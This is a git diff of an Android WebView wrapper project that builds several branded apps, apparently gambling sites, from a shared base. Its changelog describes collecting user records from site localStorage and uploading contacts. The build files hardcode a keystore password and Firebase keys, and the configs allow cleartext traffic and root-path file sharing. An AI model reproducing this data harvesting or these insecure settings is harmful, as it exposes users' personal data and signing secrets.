private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
NEPSPIN88/telur33.jks Normal file

Binary file not shown.

View File

@@ -1,5 +1,46 @@
# 封装APP 版本迭代
# 历史更新补充
以下记录根据 Git 历史按功能阶段归纳。部分 APP 使用独立的 versionName/versionCode具体版本号以各模块 build.gradle 为准。
# V1.3.9 后续维护 2026年8月4日 start 完善站点用户信息采集
支持遍历网页 localStorage 中多个候选用户缓存。
每个有效用户对象单独调用 /api/client/user-info 上报。
按手机号进行本地去重,同一手机号只重复提交一次。
单个用户上报失败时只清理该用户的重试标识,不影响其他用户。
保留用户对象完整字段,仅过滤 bonus、gameAccess、time、timebonus、rollover、banks。
# V1.3.9 后续维护 2026年7月31日 start 通知和站点用户采集
新增通知列表、通知详情和通知阅读处理。
新增站点用户信息首次采集接口,绑定 userId、站点域名和设备类型。
增加用户信息 JSON 校验、手机号必填校验和重复手机号处理。
新增 amazy、titanplayz 等 APP 模块的基础配置和推送资源。
# V1.3.9 后续维护 2026年7月30日 start 系统适配和模块扩展
修复部分设备满屏显示问题。
优化状态栏、导航栏和系统窗口 Insets 适配。
扩展 1xaceau、2URUS、ANTBET、BOSSKU、JDCLUB9VIP、KINGCUCI、LSDpokies、NEPSPIN88 等多个 APP 模块。
统一新模块的 Firebase、签名文件、应用图标和基础主题配置。
# V1.3.9 后续维护 2026年6月23日—2026年7月23日 start 工程和发布维护
新增 2U8OB 模块。
更新多个模块的部署目标和工程配置。
停止跟踪生成的 APK 文件,减少仓库中的构建产物。
# V1.3.9 2026年5月18日 start 版本和功能整理
统一部分 APP 的版本号和应用名称配置。
更新 bb8au、xoxau、sg99live 等模块的版本、用户 ID 和资源文件。
新增 bng33、pokiesplay、nep9 等 APP 模块。
新增通讯录权限申请和通讯录上传能力。
优化 Facebook、Telegram、WhatsApp 等外部应用入口的显示逻辑。
# V1.3.4—V1.3.8 2026年3月16日—2026年4月30日 start 多应用模块扩展
初始化并持续扩展 Android 封装工程。
将命名空间等公共配置统一收敛到项目根目录 build.gradle。
新增 REDSPIN8、AA7AU、BNG1AU、FIGHT996、AUPLAYX 等 APP 模块。
后续新增并配置 MG8VIPMYR、DIRIWAN888、MGMHOTRAM、PETROS777、1XSANDS、JILIRAJA99、TOKE66A、1XME8、XMETH98、XOXAU、1XACE、VV88AUD、POKIES420 等多个模块。
优化 WebView 错误处理、页面日志和空值处理。
# V1.3.3 2026年3月10日 start 更新AS和 AGP
继承 base 有一个app安装权限 纯净版
继承 base_noupdata 没有涉及任何系统权限 纯纯纯静版
@@ -21,8 +62,6 @@
resValue('color', 'style_color', '#040102')
//app 名字
resValue('string', 'app_name', 'REDSPIN8')
//预埋订阅网址
buildConfigField "String", "BASE_URL", "\"https://redspinplay.com/\""
//后台唯一ID
buildConfigField "int", "USERID", "256"
//状态栏文字颜色是否为白色
@@ -47,7 +86,6 @@
需要修改的配置项都在这里面 app_config.xml
<string name="app_name">APP名字</string>
<string name="userId">唯一ID</string>
<string name="base_url">初始域名</string>
<string name="is_white">任务栏的文字颜色 0 黑 1白 默认黑</string>
<string name="is_round">启动页logo 0 原图显示 1 强制修改为原型图片logo 给过来的logo不圆润就用1</string>
<string name="has_contact">0</string> 是否需要通讯录权限 1 要 0 不要
@@ -96,12 +134,3 @@
新增通知,跳转查看网页
新增后台接口配置显示关闭权限,跳转打开facebook,telegram等

2
RMcuci/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
RMcuci/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "RMcuci"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.jsah.rmcuci"
//app大背景色
resValue('color', 'windows_color', '#191919')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#191919')
//app 名字
resValue('string', 'app_name', 'RMcuci')
buildConfigField "int", "USERID", "227"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "1065458245750",
"project_id": "rmcuci-a2124",
"storage_bucket": "rmcuci-a2124.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:1065458245750:android:f2da7ba7c7ba4664bf3f57",
"android_client_info": {
"package_name": "com.jsah.rmcuci"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyC-Tthviy0WyBR5DVgofCSfJOZwtpmuKsM"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
RMcuci/justlet.jks Normal file

Binary file not shown.

32
RMcuci/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 251 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
RMcuci/telur33.jks Normal file

Binary file not shown.

2
WEBO98/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
WEBO98/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "webo98"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.xyz.webo98"
//app大背景色
resValue('color', 'windows_color', '#220033')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#300055')
//app 名字
resValue('string', 'app_name', 'WEBO98')
buildConfigField "int", "USERID", "245"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "false"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "828707000332",
"project_id": "webo98-8ad23",
"storage_bucket": "webo98-8ad23.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:828707000332:android:60d944f1e34beb09e69e29",
"android_client_info": {
"package_name": "com.xyz.webo98"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyBvKNLqjN_9tmCBS2N5f3hxMhADc4egd7k"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
WEBO98/justlet.jks Normal file

